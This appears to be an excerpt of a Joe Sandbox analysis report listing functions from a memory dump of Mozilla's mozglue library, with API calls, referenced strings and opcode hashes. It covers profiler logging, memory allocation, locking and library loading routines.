\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C61EDC1

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 0fe97d88cc71a00f481048e7369c4c83958fcacbdb02545f614b570006befc4b
Instruction ID: b7918321e6afe269afc751eb2df2165c4c584b11989ffce471b42bf6d3da39be
Opcode Fuzzy Hash: 0fe97d88cc71a00f481048e7369c4c83958fcacbdb02545f614b570006befc4b
Instruction Fuzzy Hash: 0651E471D092059BDB00DF6CC8846EEB7F0AF5A319F44852DE85567F40E730A949CBEA

Function 6C68A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C68A565

Part of subcall function 6C68A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C68A4BE
Part of subcall function 6C68A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C68A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C68A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C68A6B6

Strings

z, xrefs: 6C68A6AE
0, xrefs: 6C68A5FB

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: f6338bf362bdd6f6ef11778f4112d4dad0614d4119a39c55f176a28abe486af5
Instruction ID: 94876e7137e36ecdbd2d8227da88bb25e9bb3e56bf794728036b6d3dab86efd2
Opcode Fuzzy Hash: f6338bf362bdd6f6ef11778f4112d4dad0614d4119a39c55f176a28abe486af5
Instruction Fuzzy Hash: 9E4148719097459FC341CF28C080A8FBBE5BF8A344F408A2EF89987695E730D589CB96

Function 6C659420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
__Init_thread_footer.LIBCMT ref: 6C65949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C659459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C65946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C65947D

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 0a5517eb8acfed4df7ecbb08416b9bfea0897a2a580a95fb36bda50e5e7026fb
Instruction ID: 009cabdf82bf23d38951d15a30a6c98119de13160f54c79337ace94e65da2924
Opcode Fuzzy Hash: 0a5517eb8acfed4df7ecbb08416b9bfea0897a2a580a95fb36bda50e5e7026fb
Instruction Fuzzy Hash: 9601D8B0A0010397DB009F5ED951ACA337AAF0672CF254536ED06C6B42D632D8778A5F

Function 6C61B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B6AC

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C61B61E), ref: 6C61B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B79A

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 10bba2388da3e7636cc3cfc3d0a1afe576c057c50685748cc75799f26d69f576
Instruction ID: a66fb36aa59d9b8700bbc7a3cb1bd53d1d929df3e86cb36ccc0665f01872828e
Opcode Fuzzy Hash: 10bba2388da3e7636cc3cfc3d0a1afe576c057c50685748cc75799f26d69f576
Instruction Fuzzy Hash: DF41E3F2D041159FCB10DF6CDC806AEB7B5FB95324F250629E825E7B80E731A9008BE9

Function 6C68B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C68B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C68B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C68B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C68B5F4
__Init_thread_footer.LIBCMT ref: 6C68B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C68B61F
std::_Facet_Register.LIBCPMT ref: 6C68B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C68B655

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 284f1cba8b33b53a96d76febb281de22c18018a7160cf01e5ac8bcffa79f3580
Instruction ID: 34cd8a69c7a1094eb4cee9325d1a820fbff3133722f3befb0e40e5ae5164a1ad
Opcode Fuzzy Hash: 284f1cba8b33b53a96d76febb281de22c18018a7160cf01e5ac8bcffa79f3580
Instruction Fuzzy Hash: 94317271B00106CBCB109F6AC8949AEB7F5FBC6324F154519E90697790DB70A90ACFAE

Function 6C656590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C64FA80: GetCurrentThreadId.KERNEL32 ref: 6C64FA8D
Part of subcall function 6C64FA80: AcquireSRWLockExclusive.KERNEL32(6C69F448), ref: 6C64FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C656727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6567C8

Part of subcall function 6C664290: memcpy.VCRUNTIME140(?,?,6C672003,6C670AD9,?,6C670AD9,00000000,?,6C670AD9,?,00000004,?,6C671A62,?,6C672003,?), ref: 6C6642C4

Strings

vil, xrefs: 6C65696C
data, xrefs: 6C656593

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vil
API String ID: 511789754-2730382510
Opcode ID: d12784fa15a5a528f19f83817c730f80e855b6fc829d0ca584cea48af695769a
Instruction ID: 209ca80837e79c61571bf0d36c610247eede1692c2ade8e0b03969b0e5576cd3
Opcode Fuzzy Hash: d12784fa15a5a528f19f83817c730f80e855b6fc829d0ca584cea48af695769a
Instruction Fuzzy Hash: 64D1D175A083418FD724CF25C850B9EB7E5AFC6308F60892DE489C7B51DB31E819CB6A

Function 6C64D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C61EB57,?,?,?,?,?,?,?,?,?), ref: 6C64D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C61EB57,?), ref: 6C64D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C61EB57,?), ref: 6C64D673
free.MOZGLUE(?), ref: 6C64D888

Strings

|Enabled, xrefs: 6C64D81E
Wal, xrefs: 6C64D5D9, 6C64D63F

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wal$|Enabled
API String ID: 4142949111-2367217381
Opcode ID: 50702d598b90d3f965964feb2d278f3979851af14cd63cff21ffda8bbe7ed606
Instruction ID: c54f3543af5e71ee353a23820f419e6cb73b5e3693c84e1e5e4de19f88859691
Opcode Fuzzy Hash: 50702d598b90d3f965964feb2d278f3979851af14cd63cff21ffda8bbe7ed606
Instruction Fuzzy Hash: ECA1E2B0E043059FDB01CF69C4906AEBBF1AF4A318F14C15CD889ABB41D735A945CBA9

Function 6C661D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C661D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C661BE3,?,?,6C661D96,00000000), ref: 6C661D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C661BE3,?,?,6C661D96,00000000), ref: 6C661D4C
GetCurrentThreadId.KERNEL32 ref: 6C661DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C661DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C661DDA

Part of subcall function 6C661EF0: GetCurrentThreadId.KERNEL32 ref: 6C661F03
Part of subcall function 6C661EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C661DF2,00000000,00000000), ref: 6C661F0C
Part of subcall function 6C661EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C661F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C661DF4

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 5913a71791f43410f96c52cf859ebda186b48dc3e9154b89c844e7afdf17f2f1
Instruction ID: 57885d5085d9cf9f53d58132f444fb751ca9c4abb37a995b49819cfc44aa7272
Opcode Fuzzy Hash: 5913a71791f43410f96c52cf859ebda186b48dc3e9154b89c844e7afdf17f2f1
Instruction Fuzzy Hash: EF417BB56007019FCB10DF2AC488A5ABBF9FF89354F10442EE95A87B41CB71F854CB99

Function 6C6584E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6584F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6585AC

Part of subcall function 6C657670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65767F
Part of subcall function 6C657670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C657693
Part of subcall function 6C657670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6576A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6585B2

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 950dbae0baa7af03815229a8ffd804406d5dec600c4f739c36586a57681f8614
Instruction ID: ee4e3d32a569d3726b034fca9e48b58a770bdb8f5ef0669812762b30d3a4650c
Opcode Fuzzy Hash: 950dbae0baa7af03815229a8ffd804406d5dec600c4f739c36586a57681f8614
Instruction Fuzzy Hash: 9421DE702006019FDB14DF2AC888A5AB7B5AF8830DF64482DE58BC3F41DB31F968CB59

Function 6C621640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C621699
VerSetConditionMask.NTDLL ref: 6C6216CB
VerSetConditionMask.NTDLL ref: 6C6216D7
VerSetConditionMask.NTDLL ref: 6C6216DE
VerSetConditionMask.NTDLL ref: 6C6216E5
VerSetConditionMask.NTDLL ref: 6C6216EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6216F9

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: aa2a6fe2946b0d14da9a62c379734c78c9e57cd43bca5ab56a2b88c88d8a2cc4
Instruction ID: d9fe2d78fdbe3e18dc99f0d9754da6f5515c66c8874d2e2c5cfa2057208a7c34
Opcode Fuzzy Hash: aa2a6fe2946b0d14da9a62c379734c78c9e57cd43bca5ab56a2b88c88d8a2cc4
Instruction Fuzzy Hash: 432102B07442096BEB106E658C85FFB737CEFC6704F044528F6059B1C0C6799D548AAA

Function 6C65F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C65F598), ref: 6C65F621

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

GetCurrentThreadId.KERNEL32 ref: 6C65F637
AcquireSRWLockExclusive.KERNEL32(6C69F4B8,?,?,00000000,?,6C65F598), ref: 6C65F645
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8,?,?,00000000,?,6C65F598), ref: 6C65F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C65F62A

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 59d3d9068de0856d81c8ced682a4248401c5bb44a4462d522a4dec153b058c27
Instruction ID: 02306bc6c2e0c838ba2518f508a520296c4289f5c18b0fdf083249cb215dde85
Opcode Fuzzy Hash: 59d3d9068de0856d81c8ced682a4248401c5bb44a4462d522a4dec153b058c27
Instruction Fuzzy Hash: 1B11AB75201206ABCB149F5AC5849E5777DFF8675CF600415FA0683F41CB71AC25CBAE

Function 6C6776C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6776F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C677705

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C677717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C67778F,00000000,00000000,00000000,00000000), ref: 6C677731
free.MOZGLUE(00000000), ref: 6C677760

Strings

}>el, xrefs: 6C6776C4

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>el
API String ID: 2538299546-3396001110
Opcode ID: d3bef933624760899cfb82664c4f8baa3053341aed1f7a2234afefcd02e344d2
Instruction ID: bbfe01a6b6ea868af98a193c130ddc3c01cd32128039ca08a12bb7580841ac9f
Opcode Fuzzy Hash: d3bef933624760899cfb82664c4f8baa3053341aed1f7a2234afefcd02e344d2
Instruction Fuzzy Hash: 1211C4B19053156BE720AF7A9C44BABBEE8EF46354F044929F848E7300E77488408BF6

Function 6C620EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C64D9F0,00000000), ref: 6C620F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C620F3C
__Init_thread_footer.LIBCMT ref: 6C620F50
FreeLibrary.KERNEL32(?,6C64D9F0,00000000), ref: 6C620F86

Strings

combase.dll, xrefs: 6C620F18
CoInitializeEx, xrefs: 6C620F36

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: e64a4ab4a9d30bf0e8fde16e99ffed6afa695b8a804d0d9eb73ee4a05bbd7ada
Instruction ID: 6e4f55f0e940355d91540aa7bf4cc58f7de1174564d14adc28152f5c35f854b8
Opcode Fuzzy Hash: e64a4ab4a9d30bf0e8fde16e99ffed6afa695b8a804d0d9eb73ee4a05bbd7ada
Instruction Fuzzy Hash: 0911C274345242EBDF20CF66C998AD63778FB9B325F018229FD0582B40D736A402CE5E

Function 6C65F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F561

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

GetCurrentThreadId.KERNEL32 ref: 6C65F577
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F585
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C65F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C65F56A
